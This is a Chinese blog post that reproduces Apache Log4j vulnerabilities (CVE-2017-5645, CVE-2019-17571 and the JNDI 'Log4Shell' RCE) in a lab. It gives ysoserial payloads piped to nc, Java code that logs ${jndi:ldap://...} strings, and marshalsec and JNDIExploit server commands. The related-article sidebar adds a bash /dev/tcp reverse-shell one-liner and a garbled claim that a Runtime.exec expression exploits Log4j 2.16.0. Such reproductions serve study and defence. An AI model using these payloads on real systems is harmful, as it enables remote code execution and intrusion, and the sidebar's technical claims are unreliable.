apache log4j漏洞复现

最新推荐文章于 2025-03-11 14:01:04 发布
最新推荐文章于 2025-03-11 14:01:04 发布
阅读量6.2w 收藏 58
点赞数 17
分类专栏： 应用漏洞 文章标签： apache intellij-idea java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41874930/article/details/121849303
版权

文章目录

1. Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）

Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

利用条件

  1. 版本大于2小于2.82
  2. 有反序列化的利用链，因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已，至于能不能rce则是取决于被攻击机器上有没有完整的利用链。

利用

我们假设被攻击机器上有CC5的利用链，那么利用payload如下：

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

2. CVE-2019-17571

log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台，文件，GUI组件，甚至是套接口服务器。本次出现漏洞就是因为log4j在启动套接口服务器后，对监听端口传入的反序列化数据没有进行过滤而造成的。下面我们以log4j-1.2.17.jar的源码来进行分析。

利用条件

  1. 版本1.2.4 <= Apache Log4j <= 1.2.17(最新版)
  2. 有反序列化的利用链，因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已，至于能不能rce则是取决于被攻击机器上有没有完整的利用链。

利用

我们假设被攻击机器上有CC5的利用链，那么利用payload如下：

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

log4j<=1.2.17反序列化漏洞（CVE-2019-17571）分析

3. apache log4j rce

原理：https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg

总结一下就是，日志中${}中的部分会被当作lookup函数的参数。

apacjhe log4j中的lookup作用是方便系统将特殊的值添加到日志之中，例如${hostname}就是主机名。

漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。

环境：https://github.com/shanfenglan/apache_log4j_poc

利用条件

2.0 <= Log4j -2 <= 2.14.1

环境搭建

依赖的xml配置在这里查找：https://mvnrepository.com/artifact/org.slf4j/slf4j-api/1.7.25

使用idea创建一个Maven项目，并在pom.xml中添加漏洞版本Apache log4j的相关依赖，分别为log4j-core与log4j-api，最终完整的含具体pom.xml文件如下：

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

</project>

然后创建一个java文件内容如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j {
    private static final Logger logger = LogManager.getLogger(Log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://192.168.171.1:12344/a}");
    }
}

在这里插入图片描述
执行这个java文件即可利用漏洞。
Maven项目pom.xml文件浅析
https://github.com/tangxiaofeng7/apache-log4j-poc

利用

poc：

${jndi:ldap://192.168.171;1:12344/Basic/Command/whoami}

在这里插入图片描述

命令执行部分我在linux与windows都未复现成功，不过看github上有人说windows下环境可以复现成功。

补充：命令执行部分

这个命令执行是本地的命令执行，也就是说恶意的class文件必须得和漏洞利用点所在的文件在同一文件夹或者同一个jar包内，举例如下：
在这里插入图片描述

log4j这个class是漏洞文件，执行后可以利用漏洞。
Log4jRCE是恶意的class文件，作用是在tmp下创建一个文件，名为123。
Tttouch是恶意的class文件，作用是在tmp下创建一个文件，名为1.txt。

我们先看看log4j.java的内容：
在这里插入图片描述
启动jndi服务端命令：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Tttouch"

在这里插入图片描述

当上述三个class文件在同一文件夹内的时候，执行这个log4j之后tmp结果如下：

在这里插入图片描述
此时我们将Tttouch.class移动到另一个文件夹下，反正不与log4j放在同一文件夹：
在这里插入图片描述
此时再次执行log4j，tmp文件夹中无新增文件：
在这里插入图片描述
在这里插入图片描述
1.txt并没有被创建
在这里插入图片描述

此时我们复制一个Tttouch.class放在和log4j在同一文件夹下，然后将jndi服务器路径下的Tttouch删掉，接着执行log4j：
在这里插入图片描述
在这里插入图片描述
1.txt再次出现了！！要知道，我们JNDI服务器根本没有这个类！
在这里插入图片描述

总结

这个漏洞给我的感觉是可以触发jndi注入，但是不会从我们的jndi服务器上拉取任何文件，而是仅仅判断这个文件本地是否存在，存在则执行，不存在则不执行。传统的jndi注入受害者会想下载我们创建的恶意class文件并实例化，此次好像并不是这样。

补充：如何将其变成正常的JNDI注入(及可加载攻击者自定义的class文件)

条件：如果我们使用LDAP方式的jndi注入，受害者服务器的代码中java的配置必须是com.sun.jndi.ldap.object.trustURLCodebase=True。

JDK中的默认配置如下：

JDK 5U45、6U45、7u21、8u121开始java.rmi.server.useCodebaseOnly默认位置true
JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值false
JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase默认为false

在这里插入图片描述

因此我们需要在log4j的代码中加上：

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

最终代码如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j {
    private static final Logger logger = LogManager.getLogger(Log4j.class);

    public static void main(String[] args) {
        //dG91Y2ggL3RtcC8xMjM 是touch /tmp/123的base64编码
        System.out.println("开始执行漏洞利用");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:12344/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM}");
        System.out.println("利用完成");
    }
}

执行命令：

使用JNDIExploit开启jndi服务器：

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.171.1 -l 12344 -p 9999

在这里插入图片描述

在这里插入图片描述

参考文章：https://www.codenong.com/f23e29b783ff38df36c9/

二次总结

JNDI注入原理及利用
在这里插入图片描述

JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性（使用的不是RMI Class Loading,而是URLClassLoader）。

这个漏洞的利用跟JDK中的配置有很大关系，换句话说跟jdk版本关系很大。
只要JDK版本无漏洞，那么apache log4j的这个RCE就很难利用成功。

Apache Log4j漏洞复现
2302_80256359的博客
12-24 773
apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过程，受影响地版本中纯在JNDI注入漏洞，导致日志在记录用户输入地数据时，触发了注入漏洞，该漏洞可导致远程代码执行，且利用条件低，影响范围广，小到网站，大到可联网的车都受影响，建议使用了相关版本的应用或者插件，尽快升级修补，做好相关方措施，避免造成不必要的损失。log4j2 是Apache的⼀个java日志框架，我们借助它进行日志相关操作管理，然而在2021年末log4j2爆出了远程代码执行漏洞，属于严重等级的漏洞。
Log4j漏洞修复方案
一颗学徒
12-13 4839
Log4j漏洞修复方案
【紧急】Log4j又发新版2.17.0，只有彻底搞懂漏洞原因，才能以不变应万变
Tom弹架构
12-20 2024
1 事件背景 经过一周时间的Log4j2 RCE事件的发酵，事情也变也越来越复杂和有趣，就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久，又发声明说 2.15.0 版本也没有完全解决问题，然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了，没想到才过多久又爆雷，Log4j 2.17.0横空出世。 相信各位小伙伴都在加班加点熬夜紧急修复和改正Apache Log4j爆出的安全漏洞，各企业都瑟瑟发抖，连网警都通知各位站长，包括我也收到了湖南长沙高新区网警的通知。
一文汇总针对登录页面的渗透测试方法，网络安全零基础入门到精通实战教程！
最新发布
wholeliubei的博客
03-11 635
在登录页面尝试，密码登录时，通过插件发现了在参数name= ，eventide=处存在Log4j漏洞。进行手工验证得到Java的版本为1.8.0。
Log4j 严重漏洞修最新修复方案参考
Javaesandyou的博客
12-21 1万+
CVE-2021-44228，原理上是 log4j-core 代码中的 JNDI 注入漏洞。这个漏洞可以直接导致服务器被入侵，而且由于“日志”场景的特性，攻击数据可以多层传导，甚至可以威胁到纯内网的服务器。log4j 作为 Java 开发的基础公共日志类，使用范围非常广，漏洞必定影响深远，想想当年commons-collections反序列化漏洞的影响范围。 Github漏洞公告： https://github.com/advisories/GHSA-jfh8-c2jp-5v3q 影响 < 2.1
apache-log4j-1.2.17
09-28
apache-log4j-1.2.17解决导入问题，日志输出的问题，import
log4j没有生成日志文件_log4j<=1.2.17反序列化漏洞（CVE201917571）分析
weixin_39664746的博客
12-04 6479
PS: 文章仅用于研究漏洞原理，促进更好的防御，禁止用于非法用途，否则后果自负!!!log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台，文件，GUI组件，甚至是套接口服务器。本次出现漏洞就是因为log4j在启动套接口服务器后，对监听端口传入的反序列化数据没有进行过滤而造成的。下面我们以log4j-1.2.17.jar的源码来进行分析。0x01 漏洞分析当...
log4j.1.2.17
02-22
开发阶段发现程序的问题 , 排除错误 , 产品阶段 , 可以记录系统运行的一些状态信息 , 程序运行的状态 ，log4j.1.2.17
「Java工具类」BeanCopyUtil对象复制工具类
热门推荐
Java Farmer
10-31 1万+
介绍语 本号主要是Java常用关键技术点，通用工具类的分享；以及springboot+springcloud+Mybatisplus+druid+mysql+redis+swagger+maven+docker等集成框架的技术分享；datax、kafka、flink等大数据处理框架的技术分享。文章会不断更新，欢迎码友关注点赞收藏转发！ 望各位码友点击关注，冲1000粉。后面会录制一些视频教程，图文和视频结合，比如：图书介绍网站系统、抢购系统、大数据中台系统等。技术才是程序猿的最爱，码友们冲啊 如果码友
Maven项目 快速修复log4j 漏洞
fangxiang2008的博客
03-12 730
log4j的漏洞介绍以及快速处理方法
log4J-1.2.17.zip
09-06
在强调可重用组件开发的今天，除了自己从头到尾开发一个可重用的日志操作类外，Apache为我们提供了一个强有力的日志操作包-Log4j。 Log4j是Apache的一个开放源代码项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。
已修改过的log4j-1.2.17.jar
11-21
使用log4j的DailyRollingFileAppender时只有一个日志文件，修改DailyRollingFileAppender源码
log4j漏洞修复升级jar包（log4j-1.2-api-2.17.0.jar）
03-09
log4j漏洞修复升级jar包（log4j-1.2-api-2.17.0.jar）
（修正）log4j-1.2.17配置文件
02-27
之前的配置文件放错了，重新上传了配置文件。。。。。
CVE-2019-17571:Apache Log4j 1.2.X存在反序列化远程代码执行漏洞
04-24
CVE-2019-17571/Apache Log4j 1.2.X存在反序列化远程代码执行漏洞 漏洞预警参考链接： 1. 漏洞描述 Apache Log4j是美国阿帕奇（Apache）软件基金会的一款基于Java的开源日志记录工具.Apache Log4j 1.2.X系列版本中存在反序列化远程代码执行漏洞.攻击者可利用该漏洞执行任意恶意命令.在Log4j 1.2.X中包含一个SocketServer类,该类很容易对不可信数据进行反序列化,当侦听日志数据的不可信网络流量时,与反序列化小工具结合使用时,可以利用该类远程执行任意代码.影响包含目前最新版本. 2. 漏洞危害 高危 影响范围 1.2.4 <= Apache Log4j <= 1.2.17(最新版) 修复建议 1.升级到Apache Log4j 2系列最新版 2.禁止将该类所开启的socket端口暴露到互联网 3. 漏洞验证 Apac
Apache Log4j2漏洞复现
qq_62056583的博客
07-20 948
复现并分析【CVE-2021044228】Apache Log4j2 Server 反序列化命令执行漏洞，使用docker技术搭建漏洞环境，在实验环境中复现该漏洞。
log4j漏洞复现
zzf011900的博客
04-02 1010
2.0-2.14.1存在JNDI注入漏洞，导致攻击者可以控制日志内容的情况下，传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入，执行远程命令。命令：bash -i > /dev/tcp/192.168.59.6/5555 2>&1 0>&1。精简版：bash -i >& /dev/tcp/192.168.59.6/5555 0>&1。/dev/tcp/192.168.59.6/5555 去连接59.6的5555端口。如:http ------web服务。
Apache log4j2漏洞复现
2401_83659708的博客
06-18 410
目录步骤一启动环境步骤二检查是否存在log4j2漏洞网站：CEYE - Monitor service for security testing 将这个${jndi:ldap://lbjc0a.ceye.io}，输入目标网站步骤三安装jndi注入工具，并且反弹shell1.在kali安装下列这个文件夹git clone GitHub - sayers522/JNDI-Injection-Exploit: JNDI命令注入利用2.进入目录，使用mvn工具打包2.1未进行安装的话，安装mvnapt instal
apache log4j2 漏洞复现
06-28
### 回答1： Apache Log4j2漏洞是一种远程代码执行漏洞，攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求，将恶意代码注入到受影响的服务器上，从而实现远程代码执行。该漏洞已被广泛利用，需要尽快修复。建议管理员及时更新受影响的软件版本，以保护服务器安全。 ### 回答2： 近日，全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞，该漏洞编号为CVE-2021-44228，危害严重。攻击者利用该漏洞可以远程执行恶意代码，入侵服务器、系统和网络，导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程，也可以用一些现有的著名开源项目（如Spring、Kafka）进行复现。这里以demo工程为例。 - 操作系统：Ubuntu 18.04.5 LTS - Java环境：JDK 1.8 - 工程环境：IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程，然后在pom.xml文件中加入log4j2依赖，可以使用找公用库的方式如下： ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码，如下： ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式，使用 ${} 语法引用payload变量的值，当payload变量的值包含恶意命令时，该漏洞即可成功利用，这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后，启动demo，如果demo的启动方式是直接运行jar包，可以使用以下命令启动： ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出，则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本，建议使用最新版本或对应的补丁，详见官方发布的修复安全公告。除此之外，也可以临时关闭log4j2的服务，防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍，漏洞的修复和预防对于互联网安全至关重要，希望大家及时更新代码和环境，确保系统网络的安全。 ### 回答3： Apache log4j2是一种流行的Java日志框架，它可以通过配置和代码记录日志。但是，最近发现了一个名为CVE-2021-44228的漏洞，攻击者可以利用该漏洞在log4j2中执行任意代码，这是一种非常危险的攻击。 要复现这个漏洞，我们需要遵循以下步骤： 步骤1：下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2：使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3：将有效负载复制到代码中。 步骤4：编写一个Java应用程序，用于建立与log4j2之间的连接，并执行有效负载。建议使用MinimalLocking.java，这个java应用程序将在本地服务器上启动log4j2。 步骤5：编译和运行您的Java应用程序。 步骤6：通过TCP端口和JMX控制台，发送构造的payload来攻击log4j2。 在实际操作中，攻击者可能会使用更高级的方法，例如尝试使用日志记录的数据来执行代码。例如，在Java虚拟机中注入Java类，然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全，建议及时升级log4j2到最新版本，并关注官方通告以了解有关漏洞的最新信息。同时，对于企业用户，建议强化安全性措施，对服务器进行监控和维护，以便及时发现和应对安全漏洞。
评论 8
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值